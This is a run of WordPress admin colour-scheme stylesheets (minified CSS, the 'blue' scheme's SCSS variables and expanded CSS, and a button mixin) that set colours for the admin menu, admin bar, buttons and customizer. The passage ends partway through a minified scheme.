.customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #e8be74,0 0 2px 1px #e1a948}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#e1a948;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e1a948}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e1a948;border-style:solid;box-shadow:0 0 0 1px #e1a948;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e1a948}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #e8be74,0 0 2px 1px #e1a948}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e1a948;color:#0073aa}$scheme-name: "blue";
$base-color: #52accc;
$icon-color: #e5f8ff;
$highlight-color: #096484;
$notification-color: #e1a948;
$button-color: #e1a948;

$menu-submenu-text: #e2ecf1;
$menu-submenu-focus-text: #fff;
$menu-submenu-background: #4796b3;

$dashboard-icon-background: $highlight-color;

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #7e8993;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #096484;
  box-shadow: 0 0 0 1px #096484;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #e1a948;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #e1a948;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #096484;
  border-color: #096484;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #064054;
  color: #064054;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #0c88b4;
  color: #021c25;
  box-shadow: 0 0 0 1px #0c88b4;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #e1a948;
  border-color: #e1a948;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #e3af55;
  border-color: #dfa33b;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e1a948;
}
.wp-core-ui .button-primary:active {
  background: #dd9f32;
  border-color: #dd9f32;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #e1a948;
  color: #fff;
  border-color: #bd831f;
  box-shadow: inset 0 2px 5px -3px #241906;
}
.wp-core-ui .button-group > .button.active {
  border-color: #e1a948;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #52accc;
}
.wp-core-ui .wp-ui-text-primary {
  color: #52accc;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #096484;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #096484;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #e1a948;
}
.wp-core-ui .wp-ui-text-notification {
  color: #e1a948;
}
.wp-core-ui .wp-ui-text-icon {
  color: #e5f8ff;
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #096484;
  color: #096484;
}

.wrap .page-title-action:hover {
  color: #064054;
  border-color: #064054;
}

.wrap .page-title-action:focus {
  border-color: #0c88b4;
  color: #021c25;
  box-shadow: 0 0 0 1px #0c88b4;
}

.view-switch a.current:before {
  color: #52accc;
}

.view-switch a:hover:before {
  color: #e1a948;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #52accc;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #e5f8ff;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #096484;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #4796b3;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #4796b3;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #e2ecf1;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #e2ecf1;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #fff;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #fff;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #096484;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #e1a948;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #4796b3;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #e5f8ff;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #fff;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #52accc;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #e5f8ff;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #fff;
  background: #4796b3;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #fff;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #fff;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #4796b3;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #74b6ce;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #e2ecf1;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #e5f8ff;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #fff;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #fff;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #e5f8ff;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #e5f8ff;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #6eb9d4;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #e1a948;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #cb9841;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #6eb9d4;
  background-color: #6eb9d4;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #e2ecf1;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #096484;
  border-color: #07526c;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #096484;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #096484;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #096484;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #096484;
}

.attachment.details .check {
  background-color: #096484;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #096484;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #096484;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #096484;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #096484;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #52accc;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #52accc;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #096484;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #096484;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #e8be74, 0 0 2px 1px #e1a948;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #e5f8ff;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #096484;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #4796b3;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #e5f8ff;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #096484;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-right-color: #e1a948;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #e1a948;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-right-color: #e1a948;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #e8be74, 0 0 2px 1px #e1a948;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-right-color: #e1a948;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #e1a948;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #e1a948;
  border-style: solid;
  box-shadow: 0 0 0 1px #e1a948;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #e1a948;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #e1a948;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #e1a948;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #e8be74, 0 0 2px 1px #e1a948;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #e1a948;
  color: #0073aa;
}/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
@mixin button( $button-color, $button-text-color: #fff ) {
	background: $button-color;
	border-color: $button-color;
	color: $button-text-color;

	&:hover,
	&:focus {
		background: lighten( $button-color, 3% );
		border-color: darken( $button-color, 3% );
		color: $button-text-color;
	}

	&:focus {
		box-shadow:
			0 0 0 1px #fff,
			0 0 0 3px $button-color;
	}

	&:active {
		background: darken( $button-color, 5% );
		border-color: darken( $button-color, 5% );
		color: $button-text-color;
	}

	&.active,
	&.active:focus,
	&.active:hover {
		background: $button-color;
		color: $button-text-color;
		border-color: darken( $button-color, 15% );
		box-shadow: inset 0 2px 5px -3px darken( $button-color, 50% );
	}
}
/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%2359524c%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#59524c}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#c7a589;box-shadow:0 0 0 1px #c7a589}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#c7a589;color:#262a2e;box-shadow:inset 0 2px 5px -3px #c7a589}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button-primary{background:#c7a589;border-color:#c7a589;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#ccad93;border-color:#c29d7f;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #c7a589}.wp-core-ui .button-primary:active{background:#bf9878;border-color:#bf9878;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#c7a589;color:#fff;border-color:#ae7d55;box-shadow:inset 0 2px 5px -3px #37271a}.wp-core-ui .button-group>.button.active{border-color:#c7a589}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#59524c}.wp-core-ui .wp-ui-text-primary{color:#59524c}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#c7a589}.wp-core-ui .wp-ui-text-highlight{color:#c7a589}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#9ea476}.wp-core-ui .wp-ui-text-notification{color:#9ea476}.wp-core-ui .wp-ui-text-icon{color:hsl(27.6923076923,7%,95%)}.wrap .page-title-action:hover{color:#fff;background-color:#59524c}.view-switch a.current:before{color:#59524c}.view-switch a:hover:before{color:#9ea476}#adminmenu,#adminmenuback,#adminmenuwrap{background:#59524c}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(27.6923076923,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#c7a589}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#46403c}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#46403c}#adminmenu .wp-submenu .wp-submenu-head{color:#cdcbc9}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#cdcbc9}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu 